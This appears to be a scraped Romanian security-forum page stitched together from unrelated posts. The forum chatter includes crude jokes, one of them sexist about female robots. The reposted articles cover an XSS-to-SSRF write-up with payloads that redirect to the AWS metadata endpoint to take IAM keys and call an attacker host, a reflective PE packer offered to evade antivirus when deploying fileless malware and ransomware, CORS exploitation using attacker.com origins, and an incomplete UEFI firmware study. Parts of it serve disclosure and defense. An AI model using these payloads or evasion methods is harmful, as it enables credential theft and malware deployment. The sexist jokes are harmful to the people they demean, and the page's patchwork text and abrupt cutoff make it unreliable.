Leaderboard

Postez atat de rar aici un ultima vreme, incat mi-a luat ceva sa imi aduc aminte parola, insa: Daca tu crezi ca Politia Romana, va misca macar un deget pentru telefonul lui, te inseli amarnic. Prietene, in Romania sunt oameni omorati si nu se duc sa audieze mai multe persoane in aceasi zi pentru ca nu au bani de benzina sa bage in Logan.(fapta reala) In ce p*la mea de tara traiti bai nene?

Astea-s dobitoci nu alta. Nu-s ei intregi la minte dar s-au apucat sa faca roboti sa le duca cretinismele mai departe. Un robot facut dupa principiile unor idioti, da, am evoluat, nu am ce reprosa.

Ce fraieri ! In loc sa se chinuie sa faca un robot inteligent mai bine l-ar lasa asa si l-ar face femeie. Nimeni nu isi doreste o femeie Einstein, daca ma intelegeti ce zic. Silicoane, alea, alea, stiti voi. A, si sa nu fie virgina. Cel mai fain asa: iti gateste, spala, calca, coase, iti este fidela, este frumoasa si nu imbatraneste, iar daca se strica vreo piesa importanta (gen ii sare vreo țâță) o duci frumos la reparat. Plus de asta nu iti face figuri, iti aduce berea, te lasa sa te uiti la meci. Daca vrei sa iti spuna bancuri sau sa vorbeasca cu tine, aia face. Practic eu nu vad ce nu v-ar placea la asa ceva ! Bineinteles, sa fie humanoid perfect nu ca o papusa. L.E. Am uitat sa mai zic: sa vezi atunci botoasele astea de pe feisbuci cum incep sa lase garda jos, sa se adapteze si, incet-incet, se "repara" societatea.

Se pare ca voi fi speaker la editia de anul acesta de la Defcamp. Deci va fi cel putin o prezentare ce va avea sigla RST-ului pe ea.

The @nytimes is now available on #Tor via their hidden service, works fine w/out JavaScript

Promotia vine de la Wonderfox, in colaborare cu partenerii sai ofera cu ocazia sarbatorii de halloween 2017 programe gratis in valoare de 500$. Programele puse la bataie sunt: - IObit Uninstaller Pro 7 - AdGuard for Windows - Soda PDF Anywhere - WonderFox DVD Ripper PRO - Photo Watermark Software - Heimdal PRO - Sticky Password - Magic Camera - Iris Pro Pagina: http://www.videoconverterfactory.com/halloween/ Promotia este valabila intre data de 23 Octombrie si 5 Noiembrie.

te obisnuiesti si tu sa arati semnul paci odata la jumate de ora.

On a recent engagement, our testers were faced with a single page web application which was used to generate PDF documents. This web application contained a multi-step form that ultimately let the user download a PDF document containing the details they had entered. As a user progressed through the form, the data entered would occasionally be redisplayed in future questions. We tried to find an XSS vulnerability in this workflow; and although the application itself correctly escaped user input, an interesting discovery was made when downloading the PDF file: it appeared that the PDF documents were rendered as an HTML page first. This conclusion was drawn from the fact that HTML tags submitted during the application process (specifically <strong>John Doe</strong>) were rendered in the PDF document as bold text. Using a payload with script tags allowed us to retrieve the window location (<script>document.write(window.location);</script>). We found that the page was being accessed from localhost; and by replacing “localhost” with the actual hosting domain name, the page containing the XSS vulnerability was able to be viewed directly. So to recap our current understanding, we have a web application accepting user input, insecurely reflecting the data into a HTML page, allowing JavaScript execution, rendering the page locally and saving it as a PDF file available for download. Using an image tag (<img src=”attack.ip/owned.jpg”>) payload allowed us to see (via the User-Agent header) that Chrome 59 headless was being used server-side to create the PDF document. A reverse DNS lookup was also performed on the connecting IP, revealing it as an Amazon EC2 instance. As the vulnerable page allowed execution of JavaScript on the remote server, this XSS attack had essentially become a Server-Side-Request-Forgery (SSRF) vulnerability. This allowed our testers to attack software and services running on localhost or within the internal network. Enumerating the environment revealed no vulnerable services to further the attack chain. However, since the host was running on Amazon EC2, though, another attack was possible. Amazon EC2 has a web API to access the instance metadata, and using a JavaScript redirect (<script>window.location=”http://169.254.169.254/latest/meta-data/iam/security-credentials/”</script>), it was possible to disclose the machine Identity and Access Management (IAM) roles. A single role was found, and the corresponding AWS access keys for that role were extracted. These access keys can be used to make programmatic calls to the AWS API. In this instance, the permissions attached to the role were too restrictive to allow further exploitation. In conclusion, the core vulnerability was the fact that user data was insecurely reflected into a webpage and executed on the remote server. This was patched within a day once brought to the attention of the application developers. Additional hardening techniques were suggested which would have limited the attack surface in the first instance. Implementing the PDF generation using a document templating library would have been a more secure and optimized solution. There would be less overhead involved and no need to rely on potentially-risky HTML rendering. Despite the webpage used to generate the PDF being publicly accessible (if the correct URL was known), this was never intended or required. The page should be restricted to localhost access only. Disabling JavaScript on the page containing user data would have reduced impact, although even with that, iframes could allow other attacks in some configurations. All IAM roles attached to the EC2 instance should have the absolute minimal set of permissions required. This appeared to be the case with role enumerated in this engagement. In addition, access to the instance metadata API itself should be restricted to allow only those users requiring access. This can be performed with iptables, and significantly reduces the impact of SSRF vulnerabilities found on Amazon EC2 instances. sursa : https://ionize.com.au/stealing-amazon-ec2-keys-via-xss-vulnerability/

mooor =))))))))))))))))))))))))))))

Unde plm ai auzit tu ca se ocupa politia cu gasitul lucrurilor pierdute ? pe ce lume traiti coae.. sa dai declaratie ca ti-ai pierdut tel si sa astepti sa ti-l gaseasca aia... :)))))))))))))))

sursa : https://az4n6.blogspot.in

Un roman isi cumpara o inteligenta artificiala Sophia(zeita intelepciunii) si aia il futea la icre cu inteligenta sa. La care ii spune omul: "Da, ho, fa! Ia mai taci, bine ca esti tu desteapta". Ea avand o inteligenta emotionala se incurajeaza, se conecteaza la serverele pornhub si se pune pe treaba si invata toate pozitiile, inclusiv expresia faciala a suptului. Dupa care el ii ia un vagin inteligent de la nest caruia poate sa ii seteze temperatura, umiditatea si gradul de librifiere prin intermediul telefonului mobil, ca sa o programeze din drum spre casa ca pe aerul conditionat. Dp care intra un hacker de sentimente care facea parte din misa si o converteste la lesbianism si Sofia devine primul android din comunitatea LGBTQ si se indragosteste de o lesbiana masculinizata cu mustata de mamaie poreclita Butch, care o paraseste pt un Sistem de Operare IOS 9.0. Si apoi isi varsa amarul in malware si practica raporturi neraportabile cu un psdist din Alexandria si voteaza la mai multe maini pt legalizarea casatoriei intre androizi si aifoni. Si in final fuge cu o masina selfdriving(electrica) si este prinsa de o gasca de tigani care fura benzina direct din cisternele de tren si este vanduta cu tot cu masina la un depozit de fiare vechi si dusa pe vapor la o fabrica de vibratoare inteligente cu gps de otel inoxidabil la care lucreaza minori din bangladesh. END Acum serios, internetul si smartphoneurile nu existau fara consumatorii de pornografie.

Introducing New Packing Method: First Reflective PE Packer Amber October 24, 2017 Ege Balci Operating System, Research, Tools Because of the increasing security standards inside operating systems and rapid improvements on malware detection technologies today’s malware authors takes advantage of the transparency offered by in-memory execution methods. In-memory execution or fileless execution of a PE file can be defined as executing a compiled PE file inside the memory with manually performing the operations that OS loader supposed to do when executing the PE file normally. In-memory execution of a malware facilitates the obfuscation and anti-emulation techniques. Additionally the malware that is using such methods leaves less footprints on the system since it does not have to possess a file inside the hard drive. Combining in-memory execution methods and multi stage infection models allows malware to infect systems with very small sized loader programs; only purpose of a loader is loading and executing the actual malware code via connecting to a remote system. Using small loader codes are hard to detect by security products because of the purpose and the code fragments of loaders are very common among legitimate applications. Malware that are using this approach can still be detected with scanning the memory and inspecting the behaviors of processes but in terms of security products these operation are harder to implement and costly because of the higher resource usage (Ramilli, 2010[1]). Current rising trend on malware detection technologies is to use the machine learning mechanisms to automate the detection of malwares with feeding very big datasets into the system, as in all machine learning applications this mechanism gets smarter and more accurate in time with absorbing more samples of malware. These mechanisms can feed large numbers of systems that human malware analysts can’t scale. Malware Detection Using Machine Learning[2]paper by Gavriluţ Dragoş from BitDefender Romania Labs widely explains the inner workings of machine learning usage on malware detection. According to the Automatic Analysis of Malware Behavior using Machine Learning[3] paper by Konrad Rieck, with enough data and time false positive results will get close to zero percent and deterministic detection of malware will be significantly effective on new and novel malware samples. The main purpose of this work is developing a new packing methodology for PE files that can alter the way of delivering the malware to the systems. Instead of trying to find new anti-detection techniques that feed the machine learning data-sets, delivering the payload to the systems via fileless code injections directly bypasses most of the security mechanisms. With this new packing method it is possible to convert compiled PE files into multi stage infection payloads that can be used with common software vulnerabilities such as buffer overflows. Known Methods Following techniques are inspiration point of our new packing method. Reflective DLL Injection[4] is a great library injection technique developed by Stephen Fewer and it is the main inspiration point for developing this new packer named as Amber. This technique allows in-memory execution of a specially crafted DLL that is written with reflective programming approach. Because of the adopted reflective programming approach this technique allows multi stage payload deployment. Besides the many advantages of this technique it has few limitations. First limitation is the required file format, this technique expects the malware to be developed or recompiled as a DLL file, and unfortunately in most cases converting an already compiled EXE file to DLL is not possible or requires extensive work on the binary. Second limitation is the need for relocation data. Reflective DLL injection technique requires the relocation data for adjusting the base address of the DLL inside the memory. Also this method has been around for a long time, this means up to date security products can easily detect the usage of Reflective DLL injection. Our new tool, Amber will provide solutions for each of these limitations. Process Hollowing[5] is another commonly known in-memory malware execution method that is using the documented Windows API functions for creating a new process and mapping an EXE file inside it. This method is popular among crypters and packers that are designed to decrease the detection rate of malwares. But this method also has several drawbacks. Because of the Address Space Layout Randomization (ASLR) security measure inside the up-to-date Windows operating systems, the address of memory region when creating a new process is randomized, because of this process hollowing also needs to implement image base relocation on up-to-date Windows systems. As mentioned earlier, base relocation requires relocation data inside PE files. Another drawback is because of the usage of specific file mapping and process creation API functions in specific order this method is easy to identify by security products. Hyperion[6] is a crypter for PE files, developed and presented by Christian Amman in 2012. It explains the theoretic aspects of runtime crypters and how to implement it. The PE parsing approach in assembly and the design perspective used while developing Hyperion helped us for our POC packer. Technical Details of our new packing method: Amber The fundamental principle of executing a compiled binary inside the OS memory is possible with imitating the PE loader of the OS. On Windows, PE loader does many important things, between them mapping a file to memory and resolving the addresses of imported functions are the most important stages for executing a EXE file. Current methods for executing EXE files in memory uses specific windows API functions for mimicking the windows PE loader. Common approach is to create a new suspended process with calling CreateProcess windows API function and mapping the entire EXE image inside it with the help of NtMapViewOfSection, MapViewOfFileand CreateFileMapping functions. Usage of such functions indicates suspicious behavior and increases the detection possibility of the malware. One of the key aspects while developing our packer is using less API functions as possible. In order to avoid the usage of suspicious file mapping API functions our packer uses premapped PE images moreover execution of the malware occurs inside of the target process itself without using the CreateProcess windows API function. The malware executed inside the target process is run with the same process privileges because of the shared _TEB block which is containing the privilege information and configuration of a process. Amber has 2 types of stub, one of them is designed for EXE files that are supporting the ASLR and the other one is for EXE files that are stripped or doesn’t have any relocation data inside. The ASLR supported stub uses total of 4 windows API calls and other stub only uses 3 that are very commonly used by majority of legitimate applications. ASLR Supported Stub: VirtualAlloc CreateThread LoadLibraryA GetProcAddress Non-ASLR Stub: VirtualProtect LoadLibraryA GetProcAddress In order to call these API’s on runtime Amber uses a publicly known EAT parsing technique that is used by Stephen Fewer’s Reflective DLL injection[4] method. This technique simply locates the InMemoryOrderModuleList structure with navigating through Process Environment Block (PEB) inside memory. After locating the structure it is possible to reach export tables of all loaded DLLs with reading each _LDR_DATA_TABLE_ENTRY structure pointed by the InMemoryOrderModuleList. After reaching the export table of a loaded DLL it compares the previously calculated ROR (rotate right) 13 hash of each exported function name until a match occurs. Amber’s packing method also provides several alternative windows API usage methods, one of them is using fixed API addresses, this is the best option if the user is familiar on the remote process that will host the Amber payload. Using fixed API addresses will directly bypass the latest OS level exploit mitigations that are inspecting export address table calls also removing API address finding code will reduce the overall payload size. Another alternative techniques can be used for locating the addresses of required functions such as IAT parsing technique used by Josh Pitts in “Teaching Old Shellcode New Tricks”[7] presentation. Current version of Amber packer versions only supports Fixed API addresses and EAT parsing techniques but IAT parsing will be added on next versions. Generating the Payload For generating the actual Amber payload first packer creates a memory mapping image of the malware, generated memory mapping file contains all sections, optional PE header and null byte padding for unallocated memory space between sections. After obtaining the mapping of the malware, packer checks the ASLR compatibility of the supplied EXE, if the EXE is ASLR compatible packer adds the related Amber stub if not it uses the stub for EXE files that has fixed image base. From this point Amber payload is completed. Below image describes the Amber payload inside the target process, ASLR Stub Execution Execution of ASLR supported stub consists of 5 phases, Base Allocation Resolving API Functions Base Relocation Placement Of File Mapping Execution At the base allocation phase stub allocates a read/write/execute privileged memory space at the size of mapped image of malware with calling the VirtualAlloc windows API function, This memory space will be the new base of malware after the relocation process. In the second phase Amber stub will resolve the addresses of functions that is imported by the malware and write the addresses to the import address table of the mapped image of malware. Address resolution phase is very similar to the approach used by the PE loader of Windows, Amber stub will parse the import table entries of the mapped malware image and load each DLL used by the malware with calling the LoadLibraryA windows API function, each _IMAGE_IMPORT_DESCRIPTOR entry inside import table contains pointer to the names of loaded DLL’s as string, stub will take advantage of existing strings and pass them as parameters to the LoadLibraryA function, after loading the required DLL Amber stub saves the DLL handle and starts finding the addresses of imported functions from the loaded DLL with the help of GetProcAddress windows API function, _IMAGE_IMPORT_DESCRIPTOR structure also contains a pointer to a structure called import names table, this structure contains the names of the imported functions in the same order with import address table(IAT), before calling the GetProcAddress function Amber stub passes the saved handle of the previously loaded DLL and the name of the imported function from import name table structure. Each returned function address is written to the malwares import address table (IAT) with 4 padding byte between them. This process continuous until the end of the import table, after loading all required DLL’s and resolving all the imported function addresses second phase is complete. At the third phase Amber stub will start the relocation process with adjusting the addresses according to the address returned by the VirtualAlloc call, this is almost the same approach used by the PE loader of the windows itself, stub first calculates the delta value with the address returned by the VirtualAlloc call and the preferred base address of the malware, delta value is added to the every entry inside the relocation table. In fourth phase Amber stub will place the file mapping to the previously allocated space, moving the mapped image is done with a simple assembly loop that does byte by byte move operation. At the final phase Amber stub will create a new thread starting from the entry point of the malware with calling the CreateThread API function. The reason of creating a new thread is to create a new growable stack for the malware and additionally executing the malware inside a new thread will allow the target process to continue from its previous state. After creating the malware thread stub will restore the execution with returning to the first caller or stub will jump inside a infinite loop that will stall the current thread while the malware thread successfully runs. Non-ASLR Stub Execution Execution of Non-ASLR supported stub consists of 4 phases, Base Allocation Resolving API functions Placement Of File Mapping Execution If the malware is stripped or has no relocation data inside there is no other way than placing it to its preferred base address. In such condition stub tries to change the memory access privileges of the target process with calling VirtualProtect windows API function starting from image base of the malware through the size of the mapped image. If this condition occurs preferred base address and target process sections may overlap and target process will not be able to continue after the execution of Amber payload. Fixed Amber stub may not be able to change the access privileges of the specified memory region, this may have multiple reasons such as specified memory range is not inside the current process page boundaries (reason is most probably ASLR) or the specified address is overlapping with the stack guard regions inside memory. This is the main limitation for Amber payloads, if the supplied malware don’t have ASLR support (has no relocation data inside) and stub can’t change the memory access privileges of the target process payload execution is not possible. In some situations stub successfully changes the memory region privileges but process crashes immediately, this is caused by the multiple threads running inside the overwritten sections. If the target process owns multiple threads at the time of fixed stub execution it may crash because of the changing memory privileges or overwriting to a running section. However these limitations doesn’t matter if it’s not using the multi stage infection payload with fixed stub, current POC packer can adjust the image base of generated EXE file and the location of Amber payload accordingly. If the allocation attempt ends up successful first phase is complete. Second phase is identical with the approach used by the ASLR supported stub. After finishing the resolution of the API addresses, same assembly loop used for placing the completed file mapping to the previously amended memory region. At the final phase stub jumps to the entry point of the malware and starts the execution without creating a new thread. Unfortunately, usage of Non-ASLR Amber stub does not allow the target process to continue with its previous state. Multi Stage Applications Security measures that will be taken by operating systems in the near future will shrink the attack surface even more for malwares. Microsoft has announced Windows 10 S on May 2 2017[8], this operating system is basically a configured version of Windows 10 for more security, one of the main precautions taken by this new operating system is doesn’t allow to install applications other than those from Windows Store. This kind of white listing approach adopted by the operating systems will have a huge impact on malwares that is infecting systems via executable files. In such scenario usage of multi stage in-memory execution payloads becomes one of the most effective attack vectors. Because of the position independent nature of the Amber stubs it allows multi stage attack models, current POC packer is able to generate a stage payload from a complex compiled PE file that can be loaded and executed directly from memory like a regular shellcode injection attack. In such overly restrictive systems multi stage compatibility of Amber allows exploitation of common memory based software vulnerabilities such as stack and heap based buffer overflows. However due to the limitations of the fixed Amber stub it is suggested to use ASLR supported EXE files while performing multi stage infection attacks. Stage payloads generated by the POC packer are compatible with the small loader shellcodes and payloads generated from Metasploit Framework [9], this also means Amber payloads can be used with all the exploits inside the Metasploit Framework [9] that is using the multi stage meterpreter shellcodes. Here is the source code of Amber . Feel free to fork and contribute..! https://github.com/EgeBalci/Amber Demo 1 – Deploying EXE files through metasploit stagers This video demonstrates how to deploy regular EXE files into systems with using the stager payloads of metasploit. The Stage.exe file generated from Metasploit fetches the amber’s stage payload and executes inside the memory. Demo 2 – Deploying fileless ransomware with Amber ( 3 different AV ) This video is a great example of a possible ransomware attack vector. With using amber, a ransomware EXE file packed and deployed to a remote system via fileless powershell payload. This attack can also be replicated with using any kind of buffer overflow vulnerability. Detection Rate Current detection rate (19.10.2017) of the POC packer is pretty satisfying but since this is going to be a public project current detection score will rise inevitably When no extra parameters passed (only the file name) packer generates a multi stage payload and performs an basic XOR cipher with a multi byte random key then compiles it into a EXE file with adding few extra anti detection functions. Generated EXE file executes the stage payload like a regular shellcode after deciphering the payload and making the required environmental checks. This particular sample is the mimikatz.exe (sha256 – 9369b34df04a2795de083401dda4201a2da2784d1384a6ada2d773b3a81f8dad) file packed with a 12 byte XOR key (./amber mimikatz.exe -ks 12). The detection rate of the mimikatz.exe file before packing is 51/66 on VirusTotal. In this particular example packer uses the default way to find the windows API addresses witch is using the hash API, avoiding the usage of hash API will decrease the detection rate. Currently packer supports the usage of fixed addresses of IAT offsets also next versions will include IAT parser shellcodes for more alternative API address finding methods. VirusTotal https://www.virustotal.com/#/file/3330d02404c56c1793f19f5d18fd5865cadfc4bd015af2e38ed0671f5e737d8a/detection VirusCheckmate Result http://viruscheckmate.com/id/1ikb99sNVrOM NoDistribute https://nodistribute.com/result/image/7uMa96SNOY13rtmTpW5ckBqzAv.png Future Work This work introduces a new generation malware packing methodology for PE files but does not support .NET executables, future work may include the support for 64 bit PE files and .NET executables. Also in terms of stealthiness of this method there can be more advancement. Allocation of memory regions for entire mapped image done with read/write/execute privileges, after placing the mapped image changing the memory region privileges according to the mapped image sections may decrease the detection rate. Also wiping the PE header after the address resolution phase can make detection harder for memory scanners. The developments of Amber POC packer will continue as a open source project. References [1] Ramilli, Marco, and Matt Bishop. “Multi-stage delivery of malware.” Malicious and Unwanted Software (MALWARE), 2010 5th International Conference on. IEEE, 2010. [2] Gavriluţ, Dragoş, et al. “Malware detection using machine learning.” Computer Science and Information Technology, 2009. IMCSIT’09. International Multiconference on. IEEE, 2009. [3] Rieck, Konrad, et al. “Automatic analysis of malware behavior using machine learning.” Journal of Computer Security 19.4 (2011): 639-668. [4] Fewer, Stephen. “Reflective DLL injection.” Harmony Security, Version 1 (2008). [5] Leitch, John. “Process hollowing.” (2013). [6] Ammann, Christian. “Hyperion: Implementation of a PE-Crypter.” (2012). [7] Pitts, Josh. “Teaching Old Shellcode New Tricks” https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017 Teaching_Old_Shellcode_New_Tricks.pdf (2017) [8] https://news.microsoft.com/europe/2017/05/02/microsoft-empowers-students-and-teachers-with-windows-10-s-affordable-pcs-new-surface-laptop-and-more/ [9] Rapid7 Inc, Metasploit Framework https://www.metasploit.com [10] Desimone, Joe. “Hunting In Memory” https://www.endgame.com/blog/technical-blog/hunting-memory (2017) [11] Lyda, Robert, and James Hamrock. “Using entropy analysis to find encrypted and packed malware.” IEEE Security & Privacy 5.2 (2007). [12] Nasi, Emeric. “PE Injection Explained Advanced memory code injection technique” Creative Commons Attribution-NonCommercial-NoDerivs 3.0 License (2014) [13] Pietrek, Matt. “Peering Inside the PE: A Tour of the Win32 Portable Executable File Format” https://msdn.microsoft.com/en-us/library/ms809762.aspx (1994) Sursa: https://pentest.blog/introducing-new-packing-method-first-reflective-pe-packer/

Exploiting Misconfigured CORS October 25, 2017 Hi folks, This post is about some of the CORS misconfiguration which I see frequently, mostly in Django applications. Let’s assume all the test cases have been performed on the domain example.com Following are the most common CORS configurations • Access-Control-Allow-Origin: * • Remark: In this case we can fetch unauthenticated resources only. • Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true • Remark: In this case we can fetch unauthenticated resources only. • Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true • Remark: In this case we can fetch authenticated resources as well. • Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Credentials: true • Remark: In this case we can fetch authenticated resources as well. • Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true • Remark: Properly implemented So we usually see these type of CORS configuration in response headers and most of us don’t try to exploit it because we think it’s properly implemented. But that’s not true. Let’s study some of the weird CORS misconfiguration cases. • I have found this vulnerability in one of most popular python web hosting site which has following request and response headers shown below - Original Request and response headers GET /<redacted> HTTP/1.1 Host: dummy.example.com User-Agent: <redacted> Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: <redacted> Origin: https://www.example.com Connection: close HTTP/1.1 200 OK Server: <redacted> Date: <redacted> Content-Type: application/json; charset=UTF-8 Content-Length: 87 Connection: close Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.example.com Strict-Transport-Security: max-age=31536000; So looking at the response headers, you can see CORS is implemented correctly and most of us don’t test it further. At this point most of time I have seen that by changing the value of origin header would reflect back in response headers as following. Edited Request and response headers GET /<redacted>HTTP/1.1 Host: dummy.example.com User-Agent: <redacted> Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: <redacted> Origin: https://attacker.com Connection: close HTTP/1.1 200 OK Server: <redacted> Date: <redacted> Content-Type: application/json; charset=UTF-8 Content-Length: 87 Connection: close Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://attacker.com Strict-Transport-Security: max-age=31536000; • I have found this vulnerability in one of the bitcoin website which has the following request and response headers. Original Request and response headers POST /<redacted> HTTP/1.1 Host: <redacted> User-Agent: <redacted> Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded;charset=utf-8 Referer: <redacted> Content-Length: 270 Cookie: <redacted> Connection: close HTTP/1.1 200 OK Server: nginx Date: <redacted> Content-Type: application/json Connection: close Access-Control-Allow-Credentials: true Content-Length: 128 Looking at the response you can see Access-Control-Allow-Origin header is missing so I added origin header in http request which makes it vulnerable as following. Edited Request and response headers POST /<redacted>HTTP/1.1 Host: <redacted> User-Agent: <redacted> Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded;charset=utf-8 Origin: https://attacker.com Referer: <redacted> Content-Length: 270 Cookie: <redacted> Connection: close HTTP/1.1 200 OK Server: nginx Date: <redacted> Content-Type: application/json Connection: close Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Credentials: true Content-Length: 128 Thanks for reading Sursa: http://c0d3g33k.blogspot.de/2017/10/exploiting-misconfigured-cors.html?m=1

24 October, 2017 UEFI BIOS holes. So Much Magic. Don’t Come Inside. Category: Research Tags: firmware security vulnerabilities Download whitepaper (PDF 855.67 KB)Download presentation (PDF 15.65 MB) Introduction In recent years, embedded software security has become a red-hot topic, attracting the attention of high profile security researchers from all around the globe. However, the quality of code is still far from perfect as long as its security is considered. For instance, the CVE-2017-5721 SMM Privilege Elevation vulnerability in the firmware could affect such scope of vendors like Acer, ASRock, ASUS, Dell, HP, GIGABYTE, Lenovo, MSI, Intel, and Fujitsu. This white paper is intended to describe how to detect a vulnerability in a motherboard firmware with the help of the following tools: Intel DAL UEFITool CHIPSEC RWEverything and how to bypass the patch that fixes this vulnerability. For those readers who need some background information, here is the list of helpful additional materials: Advanced x86: Introduction to BIOS & SMM (John Butterworth) Training: Security of BIOS/UEFI System Firmware from Attacker and Defender Perspectives (Advanced Threat Research, McAfee/Intel) Attacking and Defending BIOS in 2015 (Advanced Threat Research, McAfee/Intel) UEFI Firmware Rootkits: Myths and Reality (Alex Matrosov and Eugene Rodionov) Essential information on the CVE-2017-5721 SMM Privilege Elevation vulnerability can be found by the following link: https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00084&languageid=en-fr Preliminary stage of the research Making a showcase stand To make a showcase, we used the GA-Q170M-D3H motherboard with Intel Q170 Express chipset. The motherboard turned out to be a perfect choice for the research, due to the following reasons: Firmware updates are available as a binary image. Therefore, there is no need for users to burden themselves with extracting firmware parts from .exe files, in contrast with some other vendors’ devices. Note: In the scope of the research, we used the latest available firmware version - F22. The firmware is based on AMI BIOS Aptio V widely used by motherboard and laptop manufacturers. It is possible to enable the Intel Direct Connect Interface. The most obvious question that may come to a reader’s mind here is: ‘’What is the Intel Direct Connect Interface?” In a nutshell, the Intel Direct Connect Interface (the DCI) is a technology that allows low-level processor debugging without putting much effort in the process. The only thing needed to debug a target system is the Intel Skylake processor (6th gen. or higher) and USB 3.0 Debugging Cable, and, of course, USB 3.0 ports in both host and target systems. To operate with the interface one can use the Intel DFx Abstraction Layer (DAL) application available as a part of the Intel System Studio trial version. For more details, see “Intel DCI Secrets”. It is also necessary to install a CPU on the motherboard. The motherboard used in the scope of the research was equipped with Intel Core i3-6320. Of course, the DRAM is also needed to be installed. The assembled showcase stand looked this way (see Fig. 1). Fig. 1. Showcase stand As you can see on the picture, we have unsoldered the SPI flash memory (which stores the motherboard’s firmware) and put it into SOIC8 adapter. Hence, if we occasionally “brick” the system we would be able to recover the original firmware image using the hardware programmer. Enabling Intel DCI on a target system There are two ways to turn on DCI: the first one is simple, the other is difficult, which is quite obvious. Enabling Intel DCI. The easy way If your system is based on System on Chip (SoC), you must be able to enable DCI using the BIOS Setup (see Fig. 2). Fig. 2. Enabling DCI in BIOS Setup Another option is to use the INTEL-SA-00073 vulnerability that some motherboards have. This vulnerability allows enabling the DCI right from a target platform by writing just one byte to memory. It turned out that GA-Q170M-D3H has no option to enable the DCI in BIOS Setup. In such a case it is worth using PCH Private Configuration Space while the system is running (see Fig. 3). DCI Control Register (ECTRL) — Offset 4h Fig. 3. Enabling DCI with PCH Private Configuration Space According to the documentation, the DCI activation is conducted by toggling the fourth bit of the ECTRL register. The bit is located in memory at SBREG_BAR + (0xB8 << 0x10) + 4. The showcase had installed Windows 10 Enterprise, that is why the RW-Everything tool was used. Unfortunately, it was not possible to enable the DCI with the help of the fourth bit, while the eighth one is set to value 1. By practical consideration, it was found out that the eighth bit stands for “Locked”, which hinders the DCI during the system operation. Nonetheless, if a system register is empty, there are all chances to enable the debugging interface without any difficulties (see Fig. 4). Fig. 4. RW-Everything tool Enabling DCI. The difficult way The DCI can be enabled by changing default settings of BIOS or PCH Straps (held inside the firmware image) with Intel Flash Image Tool. After that, it is necessary to rebuild the image and flash it to the SPI flash memory. Here, one needs to use a hardware programmer to upload a modified firmware. It is possible to make the required changes by using the AMIBCP utility that can be downloaded from the Internet. The utility gives an opportunity to change default values of different settings hidden from a user in BIOS setup. To do this open the “Q170MD3H.F22” file in the AMIBCP utility and find Control Group Structures with the names “Debug Interface” and “Direct Connect Interface” (see Fig. 5). Fig. 5. AMIBCP utility The process of activating the settings comes down to changing “Failsafe” and “Optimal” to the “Enabled” values. Then save a new firmware image. This way a modified firmware would be ready. The only thing left is to upload this new firmware to the SPI flash memory in whichever convenient way. Thus, it will be possible to initiate debugging. If the interface is successfully activated and the target system is started, a new device “Intel USB Native Debug Class Devices” will appear in the host system (see Fig. 6). Fig. 6. A new device appeared in the host system Main stage of the research Setting Intel DFx Abstraction Layer The default Intel DAL installation catalog is “C:\Intel\DAL”. It contains the “ConfigConsole.exe” utility. In “ConfigConsole.exe” it is necessary to specify a corresponding Topology Config, which is “SKL_SPT_OpenDCI_Dbc_Only_ReferenceSettings”, because the target platform consists of Skylake (SKL) and 100-series chipset (Sunrise Point, SPT). While the debugging interface consists of USB 3.0 debugging cable only, it is required to set the Intel DAL so that it works with nothing but JTAG pins. Otherwise, it will be merely impossible to halt a processor. The Intel DAL supports startup scripts, which will be executed if the “dalstartup.py” file is created in the application catalog. The script will be executed when the debugging console is started. import itpii itp = itpii.baseaccess() # When running using JTAG Only Mode enabled, the PREQ, PRDY, DBR and RESET # pins are considered off, and PowerGood is considered on. We also enable # TAP based break detection, and and start to poll for probe mode entry. # Triggered scans are disabled and memory scan delays are put into place. itp.jtagonlymode(0, True) After all the required actions have been performed, it is worth trying to start “PythonConsole.cmd” (you see it right: the console is designed as a python shell) and to halt the processor cores after the initialization, just to make sure it is operable. Registering MasterFrame... Registered C:\Intel\DAL\MasterFrame.HostApplication.exe Successfully. Using Intel DAL 1.9.9114.100 Built 3/29/2017 against rev ID 482226 [1714] Using Python 2.7.12 (64bit), .NET 2.0.50727.8669, Python.NET 2.0.18, pyreadline 2.0.1 DCI: Target connection has been established DCI: Transport has been detected Target Configuration: SKL_SPT_OpenDCI_Dbc_Only_ReferenceSettings Note: Target reset has occurred Note: Power Restore occurred Note: The ‘coregroupsactive’ control variable has been set to ‘GPC’ Using SKL_SPT_OpenDCI_Dbc_Only_ReferenceSettings Successfully imported “C:\Intel\DAL\dalstartup” >>? itp.halt() [SKL_C0_T0] MWAIT C1 B break at 0x10:FFFFF80913FE1348 in task 0x0040 [SKL_C0_T1] MWAIT C1 B break at 0x10:FFFFF80913FE1348 in task 0x0040 [SKL_C1_T0] MWAIT C1 B break at 0x10:FFFFF80913FE1348 in task 0x0040 [SKL_C1_T1] MWAIT C1 B break at 0x10:FFFFF80913FE1348 in task 0x0040 >>> For more information about commands read the Intel guide that can be found by the following path: C:\Intel\DAL\Docs\PythonCLIUsersGuide.pdf Getting System Management RAM dump The SMRAM memory dump can provide plenty of information useful for vulnerability detection in UEFI BIOS because most UEFI structures have unique signatures, which enables memory forensic. However, having high privileges, the SMRAM memory range is protected from being accessed from an OS. Nonetheless, it is no difficulty at all if one can manipulate with processor’s level debugger. To start SMRAM dumping, we need to know where it is located. Here, CHIPSEC framework may come in handy. The framework is the perfect choice for operating with hardware due to its rich functionality. As it can be seen, the code below can be used to easily get the SMRAM address range: In [5]: import chipsec.chipset In [6]: cs = chipsec.chipset.cs() ...: cs.init(None, True, True) ...: WARNING: ******************************************************************* WARNING: Chipsec should only be used on test systems! WARNING: It should not be installed/deployed on production end-user systems. WARNING: See WARNING.txt 